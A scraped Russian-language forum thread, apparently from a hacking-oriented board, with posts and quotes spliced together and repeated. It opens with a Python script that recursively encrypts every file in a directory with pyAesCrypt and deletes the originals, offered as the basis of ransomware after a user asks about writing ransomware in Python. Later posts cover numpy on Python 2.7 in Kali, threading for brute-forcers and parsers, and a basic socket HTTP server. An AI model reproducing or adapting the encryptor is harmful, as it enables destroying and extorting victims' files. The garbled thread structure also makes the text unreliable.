Да, но ты упоришься в край с такой задачей
import pyAesCrypt
import os
# функция шифрования файла
def encryption(file, password):
# задаём размер буфера
buffer_size = 512 * 1024
# вызываем метод шифрования
pyAesCrypt.encryptFile(
str(file),
str(file) + ".crp",
password,
buffer_size
)
# чтобы видеть результат выводим на печать имя зашифрованного файла
print("[Файл '" + str(os.path.splitext(file)[0]) + "' зашифрован]")
# удаляем исходный файл
os.remove(file)
# функция сканирования директорий
def walking_by_dirs(dir, password):
# перебираем все поддиректории в указанной директории
for name in os.listdir(dir):
path = os.path.join(dir, name)
# если находим файл, то шифруем его
if os.path.isfile(path):
try:
encryption(path, password)
except Exception as ex:
print(ex)
# если находим директорию, то повторяем цикл в поисках файлов
else:
walking_by_dirs(path, password)
password = input("Введите пароль для шифрования: ")
walking_by_dirs("E:CCC", password)
input()
Очевидно ставить numpy для питона, чья поддержка еще не отвалилась. Ну или если ты такой ретроград, то поищи старую версию numpy на https://pypi.org/project/numpy/#history - скачай whl и поставь через "pip install filename.whl". Вот например рандомная старая версия (просто ткнул в какую-то из 2018 года), которая еще поддерживала питон 2.7: https://pypi.org/project/numpy/1.14.2/#files - но канеш использовать питон 2.7 в 2021 году - это как минимум странно.Не получается установить numpy для питона 2.7 в кали, через pip не дает установить в связи с прекращением поддержки с января, как можно поставить?
Нет. Пиши рансомвару на Лиспе, век воли не видать.писать ransomware на Python, норм идея???
Понял, благодарю. Еще один вопрос, при выполнении скрипта на питоне в кали у меня выдает ошибку синтаксиса на инструкцию ret_command в скрипте. ret это возврат из процедуры в ассемблере. Мне необходимо установить какую-то библиотеку судя по всему в кали? Все зависимости для выполнения скрипта вроде стоятОчевидно ставить numpy для питона, чья поддержка еще не отвалилась. Ну или если ты такой ретроград, то поищи старую версию numpy на https://pypi.org/project/numpy/#history - скачай whl и поставь через "pip install filename.whl". Вот например рандомная старая версия (просто ткнул в какую-то из 2018 года), которая еще поддерживала питон 2.7: https://pypi.org/project/numpy/1.14.2/#files - но канеш использовать питон 2.7 в 2021 году - это как минимум странно.
Ну залей сюда скрипт, я не в курсе, что у тебя там за ret_command.Понял, благодарю. Еще один вопрос, при выполнении скрипта на питоне в кали у меня выдает ошибку синтаксиса на инструкцию ret_command в скрипте. ret это возврат из процедуры в ассемблере. Мне необходимо установить какую-то библиотеку судя по всему в кали? Все зависимости для выполнения скрипта вроде стоят
а почему не на С++??? Что лучше???Нет. Пиши рансомвару на Лиспе, век воли не видать.
Ну залей сюда скрипт, я не в курсе, что у тебя там за ret_command.
Ты запускаешь через питон третьей версии (python3). А скрипт написан на питоне второй версии (python2.7)
Это норм что у тебя скобок нема после принта?
Для вторых версий петона это было норм, в третьих версиях уже нет.Это норм что у тебя скобок нема после принта?
from multiprocessing.dummy import Pool
def foo(x):
# some
pp = Pool(25)
pr = pp.map(foo, range(5))
import concurrent.futures
from concurrent.futures import ProcessPoolExecutor
def foo(x):
# some
if __name__ == '__main__':
with concurrent.futures.ProcessPoolExecutor(max_workers=25) as executor:
foo(x)
Ну Петон в принципе не очень хорош с точки зрения многопоточности, поскольку у него есть global interpreter lock и все потоки будут тормозится на иттерациях сборки мусора, ну и еще ряд проблем. Я не знаю подробностей твоей задачи, но я бы предложил либо реализовать задачу через асинхронность (если это io-bound задача), либо на каком-то другом языке (если это cpu-bound задача).Подскажите реализацию многопотока на python 3.
Обычные requests запросы, парсинг в основном. Про GIL знаю, но все же есть кучи брутов\парсеров\фазеров на питоне...Я не знаю подробностей твоей задачи
Ну это io-bound задача, можно сделать через асинхронные запросы, в той же библиотеке requests есть асинхронный вариант использования. В этом случае плодить потоки тебе будет не нужно.Обычные requests запросы, парсинг в основном. Про GIL знаю, но все же есть кучи брутов\парсеров\фазеров на питоне...
Скинь пример пожалуйста.Ну это io-bound задача, можно сделать через асинхронные запросы, в той же библиотеке requests есть асинхронный вариант использования. В этом случае плодить потоки тебе будет не нужно.
Вот эта на первый взгляд неплохая статья на тему синхронность против асинхронности в плане http-запросов: https://medium.com/hackernoon/how-t...l-with-python-3-5-without-aiohttp-264dc0f8546Скинь пример пожалуйста.
import socket
import os
import requests
import threading
from colorama import Fore
class Socket_create:
sock = 0
HOST = "host"
IP = "ip"
QUANT = 5
def __init__(self, HOST, IP, QUANT):
self.HOST = HOST
self.IP = IP
self.QUANT = QUANT
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def sock_options(self, PARAM, PARAM2, INT_T):
if PARAM == 1 and PARAM2 == 1 and INT_T == 1:
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, INT_T)
self.sock.bind((self.HOST, self.IP))
self.sock.listen(self.QUANT)
print(Fore.GREEN + "Установка опций По умолчанию {} {}".format("SO_REUSEPORT", "SO_REUSEADDR"))
else:
print("ВВедите опции вручную или используйте параметры 1,1,1")
return self.sock
class Client:
def __init__(self, QUANT_CL, SERVER_SOCKET):
self.clients = [0] * QUANT_CL
self.SERVER_SOCK = SERVER_SOCKET
self.sys_clients = [0] * QUANT_CL
def accept_cl(self, nnn):
while True:
for i in range(len(self.clients)):
if self.clients[i] == 0:
cl_sock, addr = self.SERVER_SOCK.accept()
self.clients[i] = cl_sock
print("\033[36m {}" .format("есть подключение"))
def accept_thread(self):
accept_threadings = threading.Thread(target=self.accept_cl, args=(0,))
accept_threadings.start()
def cleaner(self, sys1, sys2, position):
self.clients[position] = sys1
self.sys_clients[position] = sys2
def response(self, data, client, position):
if "/home" in data:
client.send("HTTP/2.0 200 OK\n\n".encode())
f = open("home.html", "r")
read = f.read()
client.send(read.encode())
f.close()
else:
client.send("HTTP/2.0 200 OK\n\n".encode())
scriptJS = "<head> <script> window.location.href = 'home'; </script> </head>"
client.send(scriptJS.encode())
def client_work(self, client, position):
self.sys_clients[position] = 1
if type(client) == int:
print("\033[31m {}" .format(client))
return 0
while True:
try:
data = client.recv(1024).decode()
print("\033[35m {} {}" .format("ПОЛУЧИЛ ДАННЫЕ", client))
except:
self.cleaner(0,0, position)
client.close()
break
self.response(data, client, position)
self.cleaner(0,0, position)
client.close()
break
return 0
def client_recv_ON(self):
print("\033[33m {}".format("CALL client_recv_ON"))
while True:
for i in range(len(self.clients)):
if self.clients[i] != 0 and self.sys_clients[i] == 0: #sys это статус работает ли сервер с этит клиентом то 1 если не работает то 0
client_thread = threading.Thread(target=self.client_work, args=(self.clients[i], i))
client_thread.start()
else:
continue
sockt = Socket_create("192.168.0.107", 3434, 1)
server = sockt.sock_options(1, 1, 1)
client = Client(10, server)
client.accept_thread()
client.client_recv_ON()